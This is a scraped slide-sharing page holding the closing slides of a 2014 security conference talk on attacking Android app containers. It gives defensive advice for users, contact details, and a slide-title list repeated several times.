  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 206: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 207: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 208: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 209: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253